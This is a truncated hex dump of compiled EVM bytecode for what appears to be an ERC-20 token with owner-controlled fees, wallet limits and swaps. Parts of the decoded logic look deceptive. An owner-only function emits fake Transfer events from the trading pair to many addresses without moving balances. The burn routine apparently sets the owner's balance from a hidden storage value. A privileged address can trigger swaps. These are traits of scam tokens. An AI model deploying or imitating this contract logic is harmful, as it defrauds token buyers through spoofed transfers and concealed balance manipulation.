82860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16146200081c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008139062001052565b60405180910390fd5b565b505050565b505050565b5f806200083a6200084360201b60201c565b90508091505090565b5f8073ffffffffffffffffffffffffffffffffffffffff1660085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614620008c15760085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16620008e4565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000973578086048111156200094b576200094a620008e9565b5b60018516156200095b5780820291505b80810290506200096b8562000916565b94506200092b565b94509492505050565b5f826200098d576001905062000a5f565b816200099c575f905062000a5f565b8160018114620009b55760028114620009c057620009f6565b600191505062000a5f565b60ff841115620009d557620009d4620008e9565b5b8360020a915084821115620009ef57620009ee620008e9565b5b5062000a5f565b5060208310610133831016604e8410600b841016171562000a305782820a90508381111562000a2a5762000a29620008e9565b5b62000a5f565b62000a3f848484600162000922565b9250905081840481111562000a595762000a58620008e9565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f62000a878262000a66565b915062000a948362000a6f565b925062000ac37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200097c565b905092915050565b5f62000ad78262000a66565b915062000ae48362000a66565b925082820262000af48162000a66565b9150828204841483151762000b0e5762000b0d620008e9565b5b5092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000b448262000b19565b9050919050565b62000b568162000b38565b811462000b61575f80fd5b50565b5f8151905062000b748162000b4b565b92915050565b5f6020828403121562000b925762000b9162000b15565b5b5f62000ba18482850162000b64565b91505092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168062000c2657607f821691505b60208210810362000c3c5762000c3b62000be1565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000ca07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000c63565b62000cac868362000c63565b95508019841693508086168417925050509392505050565b5f819050919050565b5f62000ced62000ce762000ce18462000a66565b62000cc4565b62000a66565b9050919050565b5f819050919050565b62000d088362000ccd565b62000d2062000d178262000cf4565b84845462000c6f565b825550505050565b5f90565b62000d3662000d28565b62000d4381848462000cfd565b505050565b5b8181101562000d6a5762000d5e5f8262000d2c565b60018101905062000d49565b5050565b601f82111562000db95762000d838162000c42565b62000d8e8462000c54565b8101602085101562000d9e578190505b62000db662000dad8562000c54565b83018262000d48565b50505b505050565b5f82821c905092915050565b5f62000ddb5f198460080262000dbe565b1980831691505092915050565b5f62000df5838362000dca565b9150826002028217905092915050565b62000e108262000baa565b67ffffffffffffffff81111562000e2c5762000e2b62000bb4565b5b62000e38825462000c0e565b62000e4582828562000d6e565b5f60209050601f83116001811462000e7b575f841562000e66578287015190505b62000e72858262000de8565b86555062000ee1565b601f19841662000e8b8662000c42565b5f5b8281101562000eb45784890151825560018201915060208501945060208101905062000e8d565b8683101562000ed4578489015162000ed0601f89168262000dca565b8355505b6001600288020188555050505b505050505050565b5f8115159050919050565b62000eff8162000ee9565b82525050565b5f60208201905062000f1a5f83018462000ef4565b92915050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62000f66601f8362000f20565b915062000f738262000f30565b602082019050919050565b5f6020820190508181035f83015262000f978162000f58565b9050919050565b5f62000faa8262000a66565b915062000fb78362000a66565b925082820190508082111562000fd25762000fd1620008e9565b5b92915050565b62000fe38162000a66565b82525050565b5f60208201905062000ffe5f83018462000fd8565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6200103a60208362000f20565b9150620010478262001004565b602082019050919050565b5f6020820190508181035f8301526200106b816200102c565b9050919050565b608051614268620010a05f395f8181610ca60152818161239b0152818161247a01526124a101526142685ff3fe608060405260043610610233575f3560e01c80637d16a7211161012d578063c8c8ebe4116100aa578063e2f456051161006e578063e2f45605146107d8578063e57f14e114610802578063f2fde38b1461082a578063f8b45b0514610852578063ffb54a991461087c5761023a565b8063c8c8ebe414610708578063c9567bf914610732578063cf9522fd14610748578063dd62ed3e14610772578063dd854652146107ae5761023a565b8063a457c2d7116100f1578063a457c2d714610618578063a9059cbb14610654578063afa4f3b214610690578063c07b0cc6146106b8578063c2b7bbb6146106e05761023a565b80637d16a7211461057057806389291a8f146105865780638da5cb5b1461059c57806395d89b41146105c65780639a7a23d6146105f05761023a565b806342966c68116101bb57806370a082311161017f57806370a08231146104b8578063715018a6146104f4578063751039fc1461050a5780637571336a146105205780637963e1d2146105485761023a565b806342966c68146103d85780635178624c14610400578063583e0568146104285780636d179957146104525780636ddd17131461048e5761023a565b806323b872dd1161020257806323b872dd146102e4578063311028af14610320578063313ce5671461034a57806339509351146103745780633be6e637146103b05761023a565b806306fdde031461023e578063095ea7b3146102685780630f054c06146102a457806318160ddd146102ba5761023a565b3661023a57005b5f80fd5b348015610249575f80fd5b506102526108a6565b60405161025f9190612bee565b60405180910390f35b348015610273575f80fd5b5061028e60048036038101906102899190612cac565b610936565b60405161029b9190612d04565b60405180910390f35b3480156102af575f80fd5b506102b8610958565b005b3480156102c5575f80fd5b506102ce610aa1565b6040516102db9190612d2c565b60405180910390f35b3480156102ef575f80fd5b5061030a60048036038101906103059190612d45565b610aaa565b6040516103179190612d04565b60405180910390f35b34801561032b575f80fd5b50610334610ad8565b6040516103419190612d2c565b60405180910390f35b348015610355575f80fd5b5061035e610ade565b60405161036b9190612db0565b60405180910390f35b34801561037f575f80fd5b5061039a60048036038101906103959190612cac565b610ae6565b6040516103a79190612d04565b60405180910390f35b3480156103bb575f80fd5b506103d660048036038101906103d19190612dc9565b610b1c565b005b3480156103e3575f80fd5b506103fe60048036038101906103f99190612e07565b610b87565b005b34801561040b575f80fd5b5061042660048036038101906104219190612f9c565b610ba3565b005b348015610433575f80fd5b5061043c610ca4565b6040516104499190613051565b60405180910390f35b34801561045d575f80fd5b506104786004803603810190610473919061306a565b610cc8565b6040516104859190612d04565b60405180910390f35b348015610499575f80fd5b506104a2610d1a565b6040516104af9190612d04565b60405180910390f35b3480156104c3575f80fd5b506104de60048036038101906104d9919061306a565b610d2c565b6040516104eb9190612d2c565b60405180910390f35b3480156104ff575f80fd5b50610508610d71565b005b348015610515575f80fd5b5061051e610d84565b005b34801561052b575f80fd5b5061054660048036038101906105419190613095565b610da8565b005b348015610553575f80fd5b5061056e60048036038101906105699190612e07565b610e08565b005b34801561057b575f80fd5b50610584610f08565b005b348015610591575f80fd5b5061059a610f2c565b005b3480156105a7575f80fd5b506105b0610fbc565b6040516105bd91906130e2565b60405180910390f35b3480156105d1575f80fd5b506105da610fe4565b6040516105e79190612bee565b60405180910390f35b3480156105fb575f80fd5b5061061660048036038101906106119190613095565b611074565b005b348015610623575f80fd5b5061063e60048036038101906106399190612cac565b611119565b60405161064b9190612d04565b60405180910390f35b34801561065f575f80fd5b5061067a60048036038101906106759190612cac565b61118e565b6040516106879190612d04565b60405180910390f35b34801561069b575f80fd5b506106b660048036038101906106b19190612e07565b6111b0565b005b3480156106c3575f80fd5b506106de60048036038101906106d99190613154565b6111e0565b005b3480156106eb575f80fd5b506107066004803603810190610701919061306a565b6112bb565b005b348015610713575f80fd5b5061071c611306565b6040516107299190612d2c565b60405180910390f35b34801561073d575f80fd5b5061074661130c565b005b348015610753575f80fd5b5061075c611331565b6040516107699190612d2c565b60405180910390f35b34801561077d575f80fd5b50610798600480360381019061079391906131b1565b611337565b6040516107a59190612d2c565b60405180910390f35b3480156107b9575f80fd5b506107c26113b9565b6040516107cf9190612d2c565b60405180910390f35b3480156107e3575f80fd5b506107ec6113bf565b6040516107f99190612d2c565b60405180910390f35b34801561080d575f80fd5b506108286004803603810190610823919061306a565b6113c5565b005b348015610835575f80fd5b50610850600480360381019061084b919061306a565b611472565b005b34801561085d575f80fd5b506108666114f4565b6040516108739190612d2c565b60405180910390f35b348015610887575f80fd5b506108906114fa565b60405161089d9190612d04565b60405180910390f35b6060600480546108b59061321c565b80601f01602080910402602001604051908101604052809291908181526020018280546108e19061321c565b801561092c5780601f106109035761010080835404028352916020019161092c565b820191905f5260205f20905b81548152906001019060200180831161090f57829003601f168201915b5050505050905090565b5f8061094061150d565b905061094d818585611514565b600191505092915050565b6109606116d7565b5f3090505f8173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161099e91906130e2565b602060405180830381865afa1580156109b9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109dd9190613260565b90505f8111610a21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a18906132d5565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610a5c9291906132f3565b6020604051808303815f875af1158015610a78573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a9c919061332e565b505050565b5f600354905090565b5f80610ab461150d565b9050610ac1858285611755565b610acc8585856117e0565b60019150509392505050565b600e5481565b5f6009905090565b5f80610af061150d565b9050610b11818585610b028589611337565b610b0c9190613386565b611514565b600191505092915050565b610b246116d7565b60148211158015610b36575060328111155b610b75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6c90613403565b60405180910390fd5b81601381905550806012819055505050565b610b8f6116d7565b610ba0610b9a61150d565b8261206f565b50565b610bab6116d7565b5f5b8251811015610c9f578160015f858481518110610bcd57610bcc613421565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550828181518110610c3757610c36613421565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167f3499bfcf9673677ba552f3fe2ea274ec7e6246da31c3c87e115b45a9b0db2efb83604051610c849190612d04565b60405180910390a28080610c979061344e565b915050610bad565b505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b60145f9054906101000a900460ff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610d796116d7565b610d825f61223b565b565b610d8c6116d7565b5f610d95610aa1565b905080600f819055508060118190555050565b610db06116d7565b8060165f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e4861150d565b73ffffffffffffffffffffffffffffffffffffffff1614610e67575f80fd5b5f610e70610aa1565b90505f610e7c30610d2c565b90505f60648403610e8f57819050610eb6565b60648484610e9d9190613495565b610ea79190613503565b905081811115610eb5578190505b5b81811115610ef9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef0906135a3565b60405180910390fd5b610f02816122fe565b50505050565b610f106116d7565b600160145f6101000a81548160ff021916908315150217905550565b610f346116d7565b5f4711610f76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6d9061360b565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610fb9573d5f803e3d5ffd5b50565b5f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610ff39061321c565b80601f016020809104026020016040519081016040528092919081815260200182805461101f9061321c565b801561106a5780601f106110415761010080835404028352916020019161106a565b820191905f5260205f20905b81548152906001019060200180831161104d57829003601f168201915b5050505050905090565b61107c6116d7565b600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361110b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110290613699565b60405180910390fd5b6111158282612552565b5050565b5f8061112361150d565b90505f6111308286611337565b905083811015611175576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116c90613727565b60405180910390fd5b6111828286868403611514565b60019250505092915050565b5f8061119861150d565b90506111a58185856117e0565b600191505092915050565b6111b86116d7565b6111c0610ade565b600a6111cc9190613874565b816111d79190613495565b60108190555050565b6111e86116d7565b5f5b838390508110156112b55783838281811061120857611207613421565b5b905060200201602081019061121d919061306a565b73ffffffffffffffffffffffffffffffffffffffff16600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161129a9190612d2c565b60405180910390a380806112ad9061344e565b9150506111ea565b50505050565b6112c36116d7565b80600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f5481565b6113146116d7565b6001601460016101000a81548160ff021916908315150217905550565b60125481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60135481565b60105481565b6113cd6116d7565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f3499bfcf9673677ba552f3fe2ea274ec7e6246da31c3c87e115b45a9b0db2efb5f6040516114679190612d04565b60405180910390a250565b61147a6116d7565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036114e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114df9061392e565b60405180910390fd5b6114f18161223b565b50565b60115481565b601460019054906101000a900460ff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611582576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611579906139bc565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e790613a4a565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116ca9190612d2c565b60405180910390a3505050565b6116df61150d565b73ffffffffffffffffffffffffffffffffffffffff166116fd6125f0565b73ffffffffffffffffffffffffffffffffffffffff1614611753576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174a90613ab2565b60405180910390fd5b565b5f6117608484611337565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146117da57818110156117cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c390613b1a565b60405180910390fd5b6117d98484848403611514565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361184e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184590613ba8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036118bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b390613c36565b60405180910390fd5b5f81036118d3576118ce83835f612603565b61206a565b6118db610fbc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119495750611919610fbc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561198157505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119bb575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d45750600d60149054906101000a900460ff16155b15611d3857601460019054906101000a900460ff16611ac85760015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611a88575060015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611ac7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abe90613c9e565b60405180910390fd5b5b43600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060155f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611ba7575060165f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611c4e57600f54811115611bf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be890613d2c565b60405180910390fd5b601154611bfd83610d2c565b82611c089190613386565b1115611c49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4090613d94565b60405180910390fd5b611d37565b60155f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611ceb575060165f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611d3657600f54811115611d35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2c90613e22565b60405180910390fd5b5b5b5b5f611d4230610d2c565b90505f8082119050808015611d62575060145f9054906101000a900460ff165b8015611d7b5750600d60149054906101000a900460ff16155b8015611dce575060155f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611e21575060015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611e74575060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611eb8576001600d60146101000a81548160ff021916908315150217905550611e9d8361286f565b5f600d60146101000a81548160ff0219169083151502179055505b611ec185610cc8565b15611ed057611ecf856129f9565b5b5f600d60149054906101000a900460ff16905060015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611f7e575060015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15611f87575f90505b5f811561205a5760155f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561200c576120056064611ff760125488612a8190919063ffffffff16565b612a9690919063ffffffff16565b9050612037565b612034606461202660135488612a8190919063ffffffff16565b612a9690919063ffffffff16565b90505b5f81111561204b5761204a873083612603565b5b80856120579190613e40565b94505b612065878787612603565b505050505b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036120dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d490613ee3565b60405180910390fd5b5f805f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015612160576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215790613f71565b60405180910390fd5b8160075461216e9190613e40565b5f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160035f8282546121bf9190613e40565b925050819055505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516122239190612d2c565b60405180910390a3612236835f84612aab565b505050565b5f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f600267ffffffffffffffff81111561231a57612319612e36565b5b6040519080825280602002602001820160405280156123485781602001602082028036833780820191505090505b50905030815f8151811061235f5761235e613421565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612402573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906124269190613fa3565b8160018151811061243a57612439613421565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061249f307f000000000000000000000000000000000000000000000000000000000000000084611514565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac947835f84600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016125219594939291906140be565b5f604051808303815f87803b158015612538575f80fd5b505af115801561254a573d5f803e3d5ffd5b505050505050565b8060155f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b5f806125fa612ab0565b90508091505090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612671576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161266890613ba8565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036126df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126d690613c36565b60405180910390fd5b6126ea838383612b54565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508181101561276d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276490614186565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516128569190612d2c565b60405180910390a3612869848484612aab565b50505050565b5f61287930610d2c565b90505f80820361288a5750506129f6565b5f60125460135461289b9190613386565b03612915575f821180156128b0575060105482105b156128bd57819050612910565b5f6128e660646128d860125487612a8190919063ffffffff16565b612a9690919063ffffffff16565b905080846128f49190613e40565b935060105484111561290a57601054915061290e565b8391505b505b6129ea565b5f8211801561293857506129356005601054612a9690919063ffffffff16565b82105b156129445750506129f6565b5f8211801561296757506129646005601054612a9690919063ffffffff16565b82115b8015612974575060105482105b156129965761298f6005601054612a9690919063ffffffff16565b90506129e9565b5f6129bf60646129b160125487612a8190919063ffffffff16565b612a9690919063ffffffff16565b905080846129cd9190613e40565b93506010548411156129e35760105491506129e7565b8391505b505b5b6129f3816122fe565b50505b50565b612a3f600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612b59565b612a7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a7590614214565b60405180910390fd5b50565b5f8183612a8e9190613495565b905092915050565b5f8183612aa39190613503565b905092915050565b505050565b5f8073ffffffffffffffffffffffffffffffffffffffff1660085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612b2c5760085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612b4f565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b505050565b5f4382119050919050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612b9b578082015181840152602081019050612b80565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612bc082612b64565b612bca8185612b6e565b9350612bda818560208601612b7e565b612be381612ba6565b840191505092915050565b5f6020820190508181035f830152612c068184612bb6565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612c4882612c1f565b9050919050565b612c5881612c3e565b8114612c62575f80fd5b50565b5f81359050612c7381612c4f565b92915050565b5f819050919050565b612c8b81612c79565b8114612c95575f80fd5b50565b5f81359050612ca681612c82565b92915050565b5f8060408385031215612cc257612cc1612c17565b5b5f612ccf85828601612c65565b9250506020612ce085828601612c98565b9150509250929050565b5f8115159050919050565b612cfe81612cea565b82525050565b5f602082019050612d175f830184612cf5565b92915050565b612d2681612c79565b82525050565b5f602082019050612d3f5f830184612d1d565b92915050565b5f805f60608486031215612d5c57612d5b612c17565b5b5f612d6986828701612c65565b9350506020612d7a86828701612c65565b9250506040612d8b86828701612c98565b9150509250925092565b5f60ff82169050919050565b612daa81612d95565b82525050565b5f602082019050612dc35f830184612da1565b92915050565b5f8060408385031215612ddf57612dde612c17565b5b5f612dec85828601612c98565b9250506020612dfd85828601612c98565b9150509250929050565b5f60208284031215612e1c57612e1b612c17565b5b5f612e2984828501612c98565b91505092915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b612e6c82612ba6565b810181811067ffffffffffffffff82111715612e8b57612e8a612e36565b5b80604052505050565b5f612e9d612c0e565b9050612ea98282612e63565b919050565b5f67ffffffffffffffff821115612ec857612ec7612e36565b5b602082029050602081019050919050565b5f80fd5b5f612eef612eea84612eae565b612e94565b90508083825260208201905060208402830185811115612f1257612f11612ed9565b5b835b81811015612f3b5780612f278882612c65565b845260208401935050602081019050612f14565b5050509392505050565b5f82601f830112612f5957612f58612e32565b5b8135612f69848260208601612edd565b91505092915050565b612f7b81612cea565b8114612f85575f80fd5b50565b5f81359050612f9681612f72565b92915050565b5f8060408385031215612fb257612fb1612c17565b5b5f83013567ffffffffffffffff811115612fcf57612fce612c1b565b5b612fdb85828601612f45565b9250506020612fec85828601612f88565b9150509250929050565b5f819050919050565b5f61301961301461300f84612c1f565b612ff6565b612c1f565b9050919050565b5f61302a82612fff565b9050919050565b5f61303b82613020565b9050919050565b61304b81613031565b82525050565b5f6020820190506130645f830184613042565b92915050565b5f6020828403121561307f5761307e612c17565b5b5f61308c84828501612c65565b91505092915050565b5f80604083850312156130ab576130aa612c17565b5b5f6130b885828601612c65565b92505060206130c985828601612f88565b9150509250929050565b6130dc81612c3e565b82525050565b5f6020820190506130f55f8301846130d3565b92915050565b5f80fd5b5f8083601f84011261311457613113612e32565b5b8235905067ffffffffffffffff811115613131576131306130fb565b5b60208301915083602082028301111561314d5761314c612ed9565b5b9250929050565b5f805f6040848603121561316b5761316a612c17565b5b5f84013567ffffffffffffffff81111561318857613187612c1b565b5b613194868287016130ff565b935093505060206131a786828701612c98565b9150509250925092565b5f80604083850312156131c7576131c6612c17565b5b5f6131d485828601612c65565b92505060206131e585828601612c65565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061323357607f821691505b602082108103613246576132456131ef565b5b50919050565b5f8151905061325a81612c82565b92915050565b5f6020828403121561327557613274612c17565b5b5f6132828482850161324c565b91505092915050565b7f4e6f20746f6b656e7320746f20636c65617200000000000000000000000000005f82015250565b5f6132bf601283612b6e565b91506132ca8261328b565b602082019050919050565b5f6020820190508181035f8301526132ec816132b3565b9050919050565b5f6040820190506133065f8301856130d3565b6133136020830184612d1d565b9392505050565b5f8151905061332881612f72565b92915050565b5f6020828403121561334357613342612c17565b5b5f6133508482850161331a565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61339082612c79565b915061339b83612c79565b92508282019050808211156133b3576133b2613359565b5b92915050565b7f466565732063616e6e6f742065786365656420333025000000000000000000005f82015250565b5f6133ed601683612b6e565b91506133f8826133b9565b602082019050919050565b5f6020820190508181035f83015261341a816133e1565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f61345882612c79565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361348a57613489613359565b5b600182019050919050565b5f61349f82612c79565b91506134aa83612c79565b92508282026134b881612c79565b915082820484148315176134cf576134ce613359565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61350d82612c79565b915061351883612c79565b925082613528576135276134d6565b5b828204905092915050565b7f5377617020616d6f756e74206578636565647320636f6e74726163742062616c5f8201527f616e636500000000000000000000000000000000000000000000000000000000602082015250565b5f61358d602483612b6e565b915061359882613533565b604082019050919050565b5f60208